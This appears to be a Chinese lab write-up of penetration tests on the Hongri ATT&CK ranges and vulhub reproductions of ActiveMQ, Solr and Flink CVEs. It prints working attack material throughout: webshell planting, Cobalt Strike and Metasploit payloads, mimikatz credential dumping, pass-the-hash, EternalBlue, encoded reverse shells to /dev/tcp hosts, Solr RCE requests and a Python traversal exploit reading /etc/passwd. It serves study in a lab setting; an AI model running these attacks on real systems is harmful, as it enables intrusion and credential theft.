既然登录到了后台,常见的就是找一下有没有模板编辑的地方,尝试写入一句话木马,或者写入日志文件

这里刚好找到了可以编辑模板的地方,进行写入一句话木马

在后台里进行查找,发现模板文件都被存放在**/yxcms/protected/apps/default/view/default/**

用蚁剑连接我们在yxcms里上传上去的木马,可以成功连接到后台

2.内网信息探测

cs上线

1
./teamserver 192.168.10.129 123456

我是将.exe文件放在windows下的,所以直接点击运行就行,但是有的小伙伴下载的ConbaltStrike只放在了kali下,使用命令来开启客户端

1
./start.sh

登录密码就和kali里面所输的密码一样就是123456,登录之后进入客户端

出现上面这个界面就是连接成功了

接下来配置好listener也就是监听器之后,就可以生成.exe攻击文件了

将生成的.exe文件上传到我们蚁剑连接的后台

然后在虚拟终端执行该文件

这样就表示上线成功

右键点击上线目标选择会话交互,在下方命令输入处输入命令来使用mimikatz抓取密码

1
logonpasswords

可以看到成功抓取到管理员登录密码为yyb167111@

然后在会话里执行net view点击下方所勾选的图案就可以看到域内其他的两台机器

域内信息搜集

1
2
3
4
5
6
7
8
9
10
11
12
net view                 # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)

1.先判断是否存在域,有两种方法, 查看 DNS 服务器,发现主 DNS 后缀不为空,存在域god.org

在cobaltstrike的交互式界面输入命令

1
shell ipconfig /all
1
net config workstation

来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息

从以上的操作可以得知域的名称是.god.org

2.当前登录域为 GOD ,然后再执行net view /domain查看有几个域(可能有多个)

3.使用net group /domain查看组用户(组账户信息)

4.确认域控主机的名字

既然只有一个域,那就 net group “domain controllers” /domain查看域控主机的名称

可以确认是OWA

5.查看域内其他主机的信息

确认域控主机的名称为 OWA 再执行 net view 查看局域网内其他主机信息(主机名称、IP地址)

到这里的域内信息搜集就结束了

1
2
域控主机:192.168.52.138(OWA)
域内主机:192.168.52.141(ROOT-TVI862UBEH)

3.rdp远程登录win7

由于rdp协议默认端口是3389。但是win7是默认不开放3389端口的,同时防火墙也需要关闭

1
2
#注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

使用远程登录

遇到提问证书的直接跳过就行

这样就表示远程连接成功

如果MSF 中有Win7 的 Shell,只需要返回会话并执行命令run post/windows/manage/enable_rdp即可开启靶机的远程桌面

4.内网渗透

CS派生会话给MSF

1.MSF开启监听
1
2
3
4
5
6
msfconsole # 启动MSF框架
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.236.128
set lport 1111
exploit
2.CS派生会话

首先新建一个监听器(这里端口填错了,应该和MSF的一样,填为1111)

然后在需要新建会话的那里右键点击新建会话,并选择我们最新创建的监听器

按理来说我们的MSF那边就该收到一个session会话(但是没有)

msf上线

CS执行失败,我们换一种方式来让MSF上线

1
2
3
4
5
6
7
8
9
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.92.129  LPORT=1111 -f exe -o shell.exe #kali里生成msf后门文件 shell.exe
蚁剑上传到 win7上
kali里运行监听
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.92.129
set lport 1111
exploit

蚁剑运行 shell.exe 得到meterpreter

这样就表示上线成功

msf简单利用

1.

获得 MSF 的会话后即可使用 MSF 集成的诸多强大功能模块和脚本。简单演示下,如调用post/windows/gather/checkvm判断靶机是否属于虚拟机(检查是否进入了蜜罐):

1
run post/windows/gather/checkvm

这样的回显就表示此上线机器是一台虚拟机

2.

再如调用 post/windows/gather/enum_applications模块枚举列出安装在靶机上的应用程序:

1
run post/windows/gather/enum_applications

添加路由

1
2
3
4
5
6
# 可以用模块自动添加路由
run post/multi/manage/autoroute
#添加一条路由
run autoroute -s 192.168.52.0/24
#查看路由添加情况
run autoroute -p

内网端口扫描

先执行background 命令将当前执行的 Meterpreter 会话切换到后台(后续也可执行sessions -i 重新返回会话),然后使用 MSF 自带 auxiliary/scanner/portscan/tcp 模块扫描内网域成员主机 192.168.52.141 开放的端口:

1
2
3
4
5
background
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.141
set ports 80,135-139,445,3306,3389
run

可以看到打开了135、139、445三个端口

同理,扫描一下域控主机

1
2
set rhosts 192.168.52.143
set ports 80,135-139,445,3306,3389

域控主机开启了80、445、135、139、3306、3389端口

5.msf对永恒之蓝漏洞进行攻击

探测

1
2
3
4
search ms17_010
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.52.141/192.168.52.138
run

可以看出,域控和域成员机器都可能存在永恒之蓝漏洞

漏洞利用

1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp #内网环境,需要正向shell连接
set rhosts 192.168.52.138
run

可以看到是并没有拿到shell的。

6.哈希传递攻击拿下域控

上面既然通过永恒之蓝漏洞难以获得域控主机的 Shell,那就换一种攻击思路拿下域控吧,下面演示的是通过哈希传递攻击 PTH 拿下域控主机。

【哈希传递攻击】在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机,操作简单、威力无穷。

在域环境中,利用哈希传递攻击的渗透方式往往是这样的:

  1. 获得一台域主机的权限,Dump 内存获得该主机的用户密码 Hash 值;
  2. 通过哈希传递攻击尝试登录其他主机;
  3. 继续搜集 Hash 并尝试远程登录,直到获得域管理员账户 Hash,登录域控,最终成功控制整个域。

下面使用 Metasploit/CS 来进行本靶场环境的进行 PTH 攻击演示:

CS哈希传递攻击利用

前面我们也有提到过,在win7 上线CS时,我们可以右键会话 ->执行 -> Run Mimikatz
直接借助 CS 进行用户哈希凭证窃取

1
logonpasswords

可以看到成功抓取到管理员登录密码为yyb167111@

然后在会话里执行net view点击下方所勾选的图案就可以看到域内其他的两台机器

右键点击其中一台域内机器,选择横向代理的psexec进行login,新建一个监听器,监听器payload,就选Beancon SMB,然后其他的和监听器设置一样

这样就算横向移动成功了。

点击文件浏览可以看到文件,进行文件上传操作等等

1
shell systeminfo

成功拿下域控

msf哈希传递工具

1
run windows/gather/smart_hashdump 来进行hashdump

在倒数第二行可以看到时需要system权限的

需要SYSTEM权限,我们直接getsystem 发现可以正常提权
提到SYSTEM权限之后再执行 run windows/gather/smart_hashdump

得到管理员的密码的hash

1
2
[+] 	Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

但是这个只是用户密码的一个hash值,我们在msf里加载mimikatz模块
ps:ms6中 mimikatz模块已经合并为kiwi模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
load kiwi

creds_all #列举所有凭据
creds_kerberos #列举所有kerberos凭据
creds_msv #列举所有msv凭据
creds_ssp #列举所有ssp凭据
creds_tspkg #列举所有tspkg凭据
creds_wdigest #列举所有wdigest凭据
dcsync #通过DCSync检索用户帐户信息
dcsync_ntlm #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create #创建黄金票据
kerberos_ticket_list #列举kerberos票据
kerberos_ticket_purge #清除kerberos票据
kerberos_ticket_use #使用kerberos票据
kiwi_cmd #执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam #dump出lsa的SAM
lsa_dump_secrets #dump出lsa的密文
password_change #修改密码
wifi_list #列出当前用户的wifi配置文件
wifi_list_shared #列出共享wifi配置文件/编码

抓取一下用户哈希凭证,报错说 mimikatz在x64用不了。。。 不知道怎么解决 卡住了

根据这张图片获得 NTLM Hash:8da5b9365830238e064c67c6f7db9dc4,在 Metasploit 中,经常使用于哈希传递攻击的模块有:

1
2
3
auxiliary/admin/smb/psexec_command   #在目标机器上执行系统命令
exploit/windows/smb/psexec #用psexec执行系统命令
exploit/windows/smb/psexec_psh #使用powershell作为payload

以exploit/windows/smb/psexec模块哈希传递攻击 Windows Server 2008 为例:

1
2
3
4
5
6
use exploit/windows/smb/psexec
set rhosts 192.168.52.138
set smbuser administrator
set smbpass 00000000000000000000000000000000:8da5b9365830238e064c67c6f7db9dc4
set smbdomain god
run

没有成功

1
注:本文中用到过多次横向代理,包括最后的cs哈希传递攻击也用到了,但是用到哈希是在我们用psexec配置监听器时选择的密码那里,不同的密码选择会连接到不同的域内机

红日靶场2

1.环境搭建

环境搭建推荐观看b站的靶场搭建视频:【红日ATT&CK系列靶场(二)搭建】https://www.bilibili.com/video/BV1De4y1a7Ps?vd_source=3af9e69df1b8437340d7ae027cbfe38f

默认密码:

1
2
1qaz@WSX
web机器要求更改密码,我们更改密码为符合要求的

配置好后记一下各靶机的IP地址:

1
2
3
4
DC				10.10.10.10
PC 10.10.10.201/192.168.111.201
web 10.10.10.80/192.168.111.80
kali 192.168.111.128

靶场的网络拓扑图如下:

2.外网边界突破

信息搜集

先扫一下web边界服务器

1
nmap -sV 192.168.111.80

端口开启可能存在的服务:

1.445端口开放意味着存在smb服务,可能存在ms17_010永恒之蓝漏洞。

2.开放139端口,就存在Samba服务,可能存在爆破/未授权访问/远程命令执行漏洞。
3.放1433端口,就存在mssql服务,可能存在爆破/注入/SA弱口令。

4.开放7001端口可能存在Weblogic反序列化漏洞。

再扫一下PC机:

1
nmap -sV 192.168.111.201

漏洞扫描

awvs

用awvs扫描一下开放了80端口的web机器

工具下载安装教程:如何在 Kali Linux 上安装 AWVS? - 知乎 (zhihu.com)

扫描完成,发现了一个weblogic服务器端的ssrf漏洞,点进去看一下漏洞介绍,发现涉及到CVE-2014-4242、CVE-2014-4241、CVE-2014-4210

在网上搜索一下weblogic的服务端请求伪造漏洞,在复现文章中得知问题存在路径如下:

1
http://192.168.111.80:7001/uddiexplorer/SearchPublicRegistries.jsp

接下来打开我们的bp,点击search进行抓包

这里通过对网上复现文章的阅读,得知可以进行端口探测,这里的参数operator我们是可控的,当我们输入不同值时可得到多种不同的报错

1
2
3
4
1.端口存在返回状态码  returned a 404 error code 
2.端口不存在 but could not connect over HTTP to server
3.非http协议 did not have a valid SOAP content-type
4.协议没写 no protocol

例如
当我们访问一个不存在的端口时,比如 http://127.0.0.1:1234
将会返回:could not connect over HTTP to server

对于这个weblogic的ssrf所涉及到的CVE讲解,可以参考如下文章:

Weblogic SSRF漏洞(CVE-2014-4210)_维梓梓的博客-CSDN博客

weblogicscan
1
python WeblogicScan.py 192.168.111.80 7001

虽然awvs扫描出来一个ssrf的高危,但是似乎没什么用,我们再使用专门针对weblogic的扫描器扫描一波:

可以看到目标网站存在CVE-2019-2725、CVE-2019-2729,这两个是针对不同版本的weblogic的反序列化漏洞

漏洞利用

我们知道了这个CVE,就用msf对这个CVE进行攻击:CVE-2019-2725

1
2
msfconsole
search CVE-2019-2725

只发现了一个payload

1
2
3
4
5
6
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
show options 查看一些参数
set rhosts 192.168.111.80
set lhost 192.168.111.128
set target 1
run

不知道为什么,之前都不行,后面试了一下就成功了

拿到shell,尝试进行提权

1
2
getuid
getsystem

提权失败

3.内网渗透

MSF派生CS

1
./teamserver 192.168.111.128 123456

开启客户端界面,成功连接之后创建一个监听器,payload设为Beacon HTTP

在msf进行如下操作:

1
2
3
4
5
6
7
8
background										我们之前的meterprete的session id为1
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.111.128
set lport 12345
set session 1 要和之前的meterprete的session id相同,否则会显示会话参数错误
run

所设端口要和我们监听器的端口一样

成功执行之后返回CS中查看

可以看到CS成功上线

点击权限提升,就使用我们之前创建的监听器,提权方式就使用他默认选择的svc-exe就行

提权成功,权限成功提升为system

域内信息搜集

1
shell ipconfig /all
1
shell net user /domain	#查看域控
1
shell net group "domain computers" /domain  # 查看域中的其他主机名

分别ping一下DC和PC,可以解析出主机ip地址

1
2
DC 10.10.10.10
PC 10.10.10.201

ping不通PC机可能是因为被防火墙的主机拦截了。

横向移动

尝试进行psexec横向移动到域控

先抓取密码:logonpasswords

首先新建一个监听器

对目标10.10.10.10(DC)进行横向移动
设置psexec

这个密码的选择就是我们上一步所抓取到的密码

DC主机成功上线

到这里就已经拿下域控了

vulhub复现记录

借鉴大佬的博客:drinkflower的主页

CVE-2015-5254(ActiveMQ的反序列化与rce)

关于ActiveMQ

1
2
3
4
5
6
7
8
9
ActiveMQ是一个由Apache软件基金会开发的一个开放源代码的纯Java程序式的消息中间件,消息的发送和接收是异步的,在合适的时候发送给接收者

JMS是java消息服务的应用程序接口,是一个java平台关于面向消息中间件的API,用于进行异步通信。对于端口61616,这是ActiveMQ提供给Java应用程序使用的端口,java应用程序可以使用JMS API连接到ActiveMQ服务器

端口8161是ActiveMQ的面板控制管理平台,在浏览器访问这个端口,可以查看和管理ActiveMQ的配置、消息接收等等

ysoserial是一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具

jmet是一个java写的工具,原理是使用ysoserial生成Payload并发送(其jar包内自带ysoserial,无需自己下载),下载地址为https://github.com/matthiaskaiser/jmet

而本漏洞原理就是远程攻击者可借助特制的序列化Java Message Service的ObjectMessage对象利用该漏洞执行任意代码

复现

下载jmet的jar包

1
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

在jmet的jar包的保存目录下执行命令:

1
java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 127.0.0.1(你的目标机的ip) 61616

上面命令只是向ActiveMQ发送了一个带有恶意的消息,但是并没有被执行,但是因为我们是以管理员登录的,所以直接点击就行,现实情况下应该是需要诱导管理员进行点击的

使用docker exec命令来连接docker的shell,看一下tmp目录有没有sucess文件(-i后面接docker ps查看到的容器id,/bin/bash是指定终端程序)

1
2
3
docker ps 
docker exec -i 9b7e4934b7f1 /bin/bash
ls /tmp/

确实有success文件,说明是存在rce的,应该也需要提权,这里就先监听端口

1
nc -lvnp 8888

这里需要将命令进行base64编码,将base64编码并执行的语句为

1
bash -c {echo,命令的base64编码}|{base64,-d}|{bash,-i}

使用在线网站编码反弹shell的命令

1
2
bash -i >& /dev/tcp/192.168.1.101/8888 0>&1
IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEwMS84ODg4IDA+JjE=

再在kali中使用jmet的rce进行反弹shell

1
2
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,IGJhc2ggLWkgPiYgL2Rldi
90Y3AvMTkyLjE2OC4xLjEwMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.10.129 61616

这时候我们可以在管理面板发现有新消息,点击一下

现在我们发现监听的端口就有了shell,并且直接是root权限

复现成功

CVE-2017-12629(Apache Solr远程命令执行)

1
2
3
4
5
Apache Solr 是基于 Apache Lucene 构建的一个开源的搜索平台,提供了全文搜索、分析、过滤、排序等功能。它扩展了 Apache Lucene 并提供了更丰富的功能,能够构建复杂的搜索应用程序。在 CVE-2017-12629 漏洞中,Apache Solr 是受影响的组件,由于漏洞的存在,可能导致远程代码执行。

Lucene 是一个高效的,基于 Java 的全文检索库。 Lucene 是 apache 软件基金会 4 jakarta 项目组的一个子项目,是一个开放源代码的全 文检索引擎工具包,但它不是一个完整的全文检索引擎,而是一个全文检索引擎的架构,Lucene主要提供了一个简单、强大的应用程序接口。在cve-2017-12629漏洞中,Apache Luence是Apache Solr的核心组件之一,用于实现索引和搜索功能

漏洞利用条件为Apache Solr<7.1,Apache Lucene<7.1

从面板中我们可以得知Apache Solr和Apache Luence两个组件的版本均符合要求

复现

在Apache Solr中,能够触发命令执行的方式有两种,分别是postCommit和newSearcher

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
在 Apache Solr 中,postCommit 和 newSearcher 是与索引操作和搜索操作相关的事件触发器。它们可以用于在索引提交
和搜索查询时执行自定义的操作,包括命令执行,从而可能导致安全漏洞。

postCommit:postCommit 是一个在索引提交后触发的事件,也就是在索引更新或新增操作完成之后执行的操作。这个事件可
以用于执行一些需要在索引更新后立即处理的任务,比如通知其他系统更新、生成缓存等。然而,如果在 postCommit 中执行
不当操作,如执行恶意命令,就可能导致安全风险。

newSearcher:newSearcher 是一个在每次 Solr 实例中的搜索器(Searcher)被创建或重新加载时触发的事件。搜索器是
用于执行搜索查询的组件。newSearcher 事件可以用于执行一些在搜索开始之前或之后需要处理的操作,比如更新一些数据、
记录日志等。同样地,如果在 newSearcher 中执行恶意操作,就可能导致安全问题。

在 CVE-2017-12629 漏洞中,攻击者能够利用 Solr 中的这些事件触发器来执行恶意的远程代码,从而实现命令执行。这是
由于 Solr 没有充分限制对于这些事件触发器的访问权限,导致攻击者可以构造恶意请求来触发这些事件并执行恶意代码,从
而影响服务器的安全性。为了防止这类风险,Solr 的管理员需要进行适当的配置和限制,确保只有受信任的操作可以触发这些
事件。

通过newSearcher进行命令执行的话,一个数据包即可

1
2
3
4
5
6
7
POST /solr/demo/config HTTP/1.1
Host: 192.168.10.129:8983
Content-Length: 170
Content-Type: application/json

{"add-listener":{"event":"newSearcher","name":"newSearcher3","class":"solr.RunExecutableListener",
"exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/miao"]}}

对于上面这个数据包有一点需要注意的是后面一部分里的name是可以随便取的,并且可重复发包,但是这个name不能重复,一旦重复就会发生报错

最后一部分就是我们想要执行的命令,这里我们连接容器的shell进去看看文件是否创建成功,也就是命令是否被成功执行了

1
2
docker exec -i 6545c241717e /bin/bash
ls /tmp/

可以看到我们创建成功了,也就是说命令成功执行,那我们下一步就执行反弹shell,先在kali上监听4441端口:

1
nc -lvnp 4441

然后发包(记得改name)

1
2
3
4
5
6
7
POST /solr/demo/config HTTP/1.1
Host: 192.168.10.129:8983
Content-Length: 170
Content-Type: application/json

{"add-listener":{"event":"newSearcher","name":"newSearcher5","class":"solr.RunExecutableListener",
"exe":"sh","dir":"/bin/","args":["-c", "bash -i >& /dev/tcp/192.168.10.129/4441 0>&1"]}}

这里可以看到数据包上传成功了,但是在我们所监听的端口没有得到回应,试了好几次都失败了,不管了,万一本身就不能弹shell呢,反正证明了这个rce确实是存在的。

CVE-2019-0193(Apache solr远程命令执行)

本次的cve针对的还是solr,和上面的服务是一样的,这里就不再介绍一遍了

我们可以看到,版本升级为了8.1.1,这样子就不符合上一个漏洞的条件了

1
2
3
此漏洞存在于可选模块DataImportHandler中,DataImportHandler是用于从数据库或其他源提取数据的常用模块,该模块中所有DIH配置都可以通过外部请求的dataConfig参数来设置,由于DIH配置可以包含脚本,因此该参数存在安全隐患。攻击者可利用dataConfig参数构造恶意请求,实现远程代码执行。

漏洞利用条件:Apache solr<8.2.0

根据上面对面板的截图,可以看到这个版本是符合漏洞利用条件的。

复现

这里对于复现的第一步做一个解释,CVE-2019-0193和上面的CVE-2017-12629不一样的是此环境没有自带的core,那什么是core呢

1
2
3
4
5
6
7
8
9
10
11
12
13
在 Apache Solr 中,"core" 是一个重要的概念,它表示了 Solr 实例中的一个独立的、可搜索的索引。每个 Solr 实例可
以包含一个或多个核心(core)。每个核心都代表一个单独的索引,它可以包含特定的数据集、配置和模式。核心使得 Solr
能够同时管理和服务多个独立的搜索需求。

每个核心都有自己的配置文件、模式定义、数据目录等。不同的核心可以具有不同的配置,从而允许您为不同的数据集和搜索
需求进行不同的设置。

通过核心的概念,Solr 能够有效地管理和分配系统资源,实现多租户的搜索环境。每个核心可以独立地执行索引、查询和维护
操作,从而提高了系统的灵活性和性能。

在 Solr 的配置中,您可以通过配置文件(例如 solr.xml)来定义和管理核心。您可以在 Solr 的管理界面中创建、删除、
重载和管理核心,以满足不同的搜索需求。核心是 Solr 集群中的一个基本单元,可以帮助您更好地组织和管理索引和搜索功
能。

所以第一步我们需要创建一个core

1
2
docker exec -i 4f80f15c3abe /bin/bash
bin/solr create_core -c liberator -d example/example-DIH/solr/db

先连上镜像内部的shell,后面这一步就创建了一个名为liberator的core

我们将Configuration里面的内容全部替换为我们自己的poc(由exec命令在/tmp目录下创建一个success文件)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>

点击Execute with the configuration之后,再由我们连接的镜像内部的shell来看看是否创建成功

可以看到已经创建成功了。

当然我们也可以利用这个漏洞尝试进行反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("/bin/bash >& /dev/tcp/192.168.10.129 4441 0>&1");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>

不知道为啥反弹shell又失败了,但是可以RCE对于漏洞的复现已经完成了

CVE-2020-17519(Apache Flink目录遍历漏洞)

1
2
3
4
5
6
7
8
9
10
11
12
13
Apache Flink 是一个分布式系统,它需要计算资源来执行应用程序。Flink 集成了所有常见的集群资源管理器,例如 Hadoop YARN、 Apache Mesos和Kubernetes,但同时也可以作为独立集群运行。 

Flink 被设计为能够很好地工作在上述每个资源管理器中,这是通过资源管理器特定(resource-manager-specific)的部署 模式实现的。Flink 可以采用与当前资源管理器相适应的方式进行交互。

部署 Flink 应用程序时,Flink 会根据应用程序配置的并行性自动标识所需的资源,并从资源管理器请求这些资源。在发生 故障的情况下,Flink 通过请求新资源来替换发生故障的容器。提交或控制应用程序的所有通信都是通过 REST 调用进行的 ,这可以简化 Flink 与各种环境中的集成。

Apache Flink 1.11.0 中引入的一项更改(也在 1.11.1 和 1.11.2 中发布)允许攻击者通过 JobManager 进程的 REST 接口读取 JobManager 本地文件系统上的任何文件。 远程攻击者通过REST API目录遍历,可造成文件读取/写入的影响。 在 Apache Flink 中,JobManager 是 Flink 集群中的一个主要组件,负责调度和协调作业的执行。而 REST 接口是一种通 过 HTTP 协议暴露的接口,用于与 Flink 集群进行交互和管理。

JobManager: JobManager 是 Flink 集群的主要控制节点,负责接收作业提交请求、调度任务、分配资源、协调任务执行等。每个 Flink 集群都有一个 JobManager。使用 Flink 的命令行工具或者编程方式与 JobManager 进行交互。命令行工具如flink run可以用来提交作业,而编程方式可以使用 Flink 的客户端 API。

REST 接口: Flink 提供了 REST 接口,允许用户和外部系统通过 HTTP 请求与 Flink 集群进行交互。通过 REST 接口,您可以提交作业、查询作业状态、查看集群状态、管理任务等。Flink 的 REST 接口默认在端口 8081 上运行(可以通过配置进行修改)。您可以使用任何支持 HTTP 请求的工具,如 cURL、Postman 或编程语言中的 HTTP 请求库,向 REST 接口发送请求来查询作业状态、查看集群状态等。 简单来说,rest接口在8081端口对外提供api,利用它提供的api可以实现任意文件读取

漏洞利用条件为Apache Flink版本为1.11.0或者1.11.1或者1.11.2

访问8081端口,看到如下面板,可以看到版本为1.11.2,是符合漏洞利用条件的

Apache Flink 的 6123 端口用于 Flink 的远程通信和管理,主要用于与 Flink 集群中的 JobManager 通信。

1
JobManager 是 Flink 集群的主要协调节点,负责接收和调度提交的作业(jobs),管理任务的调度和执行,并提供了 REST 接口供用户和外部系统与 Flink 集群进行交互。  通过 6123 端口,您可以使用 Flink 的 REST API 与 Flink 集群进行交互,例如提交作业、查询作业状态、获取作业详情 等操作。这是与 Flink 集群进行远程管理和监控的入口之一。

关于8081端口

1
8081 端口用于 Flink 的 Web UI 界面和 REST 接口。Flink 的 Web UI 提供了一个用户界面,允许您监控和管理正在执行 的作业、任务、JobManager 和 TaskManager 的状态等。此外,8081 端口还提供了 Flink 的 REST API,允许您通过  HTTP 请求与 Flink 集群进行交互,例如提交作业、查询作业状态、获取作业计数等。

6123 端口用于 Flink 内部组件之间的通信,而 8081 端口用于提供用户界面和与 Flink 集群进行交互的 REST 接 口。所以我们打的是8081端口(也可能被改成其他的了,反正是提供ui的那个端口)

直接使用poc的生成进行目录穿越

1
http://192.168.10.129:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

可以看到读取成功,复现完成

这里附上相关脚本,因为实战不一定需要穿越这么多层目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests
import sys
import json

def title():
  print('+------------------------------------------')
  print('+ \033[34mVersion: Apache Flink   1.11.0-1.11.2                             \033[0m')
  print('+ \033[36m使用格式: python3 CVE-2020-17519.py                                 \033[0m')
  print('+ \033[36mUrl         >>> http://xxx.xxx.xxx.xxx:xxx                             \033[0m')
  print('+ \033[36mFile       >>> /etc/passwd                                       \033[0m')
  print('+------------------------------------------')

def POC_1(target_url, file_name):
  file_name = file_name.replace("/", "%252f")
  vuln_url = target_url + "/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..{}".format(file_name)
  headers = {
      "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
  }
  try:
      response = requests.get(url=vuln_url, timeout=10, verify=False, headers=headers)
      print("\033[32m[o] 请求URL : {}\033[0m".format(vuln_url))
      if "root" in response.text:
          print("\033[32m[o] 目标 {} 存在漏洞,成功读取 /etc/passwd ,响应为:\n{}\033[0m".format(target_url, response.text))
      else :
          print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
          sys.exit(0)

  except Exception as e:
      print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
      sys.exit(0)

def POC_2(target_url, file_name):
  file_name_re = file_name.replace("/", "%252f")
  vuln_url = target_url + "/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..{}".format(file_name_re)
  headers = {
      "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
  }
  try:
      response = requests.get(url=vuln_url, timeout=10, verify=False, headers=headers)
      print("\033[32m[o] 请求URL : {}\033[0m".format(vuln_url))
      if "error" not in response.text:
          print("\033[32m[o] 目标 {} 存在漏洞,成功读取 {} ,响应为:\n{}\033[0m".format(target_url, file_name, response.text))
      else :
          print("\033[31m[x] 目标文件{}读取失败\033[0m".format(file_name))

  except Exception as e:
      print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
      sys.exit(0)

if __name__ == '__main__':
  title()
  target_url = str(input("\033[35mPlease input Attack Url\nUrl   >>> \033[0m"))
  file_name = "/etc/passwd"
  POC_1(target_url, file_name)

  while True:
      file_name = input("\033[35mFile >>> \033[0m")
      if file_name == "exit":
          sys.exit(0)
      else:
          POC_2(target_url, file_name)

这个脚本会先拿/etc/passwd测试是否读取成功来判断是否存在漏洞,如果存在就可以直接读取了,这里贴一份linux都有的文件,并且不需要root直接就能读的,因为这个漏洞读文件是没有root的,感觉比较鸡肋,得配合别的漏洞才能打

1
2
3
4
5
6
7
8
9
10
11
/etc/passwd: 包含有关系统用户的信息。
/etc/group: 包含有关用户组的信息。
/etc/hostname: 包含主机名信息。
/etc/issue: 包含系统登录提示信息。
/etc/motd: 包含登录后的消息(Message of the Day)。
/etc/resolv.conf: 包含 DNS 解析配置信息。
/etc/fstab: 包含文件系统挂载信息。
/etc/hosts: 包含主机名与 IP 地址的映射。
/etc/issue.net: 包含在网络上显示的信息。
/etc/localtime: 包含系统的时区信息。
/usr/share/zoneinfo: 包含各个时区的文件。

CVE-2020-17518(Apache flink远程代码执行漏洞)

由于CVE-2020-17519也是关于介绍Apache flink的,所以就不再进行叙述了。

1
2
3
Flink在1.5.1版本中引入了一个REST handler,这允许攻击者将已上传的文件写入到本地任意文件中,并且可通过一个恶意修改的HTTP头将这些文件写入到Flink 1.5.1可以访问的任何位置

在1.5.1版本中引入的REST handler是用于通过REST API执行特定的操作,通过REST handler,可以使用HTTP请求来与Flink集群进行交互没执行各种操作,例如提交作业等等。

如果要使用REST handler,需要执行以下步骤

1
2
3
4
5
在Flink 配置文件中,您需要启用REST接口,找到以下配置项并设置为true:
rest.port:8081
rest.bind-address:localhost

这将启用Flink的REST接口,并将其绑定到本地主机的8081端口

一旦启用了REST接口,可以使用任何HTTP请求的工具(例如curl、Postman、浏览器等),来与Flink集群进行交互,例如,要提交一个作业,可以使用POST请求来提交作业的JAR文件:

1
curl -X POST -H "Expect:" -F "jarfile=@/path/to/your/job.jar" http://localhost:8081/jars/upload

要查询作业,可以使用get请求

1
curl http://localhost:8081/jobs

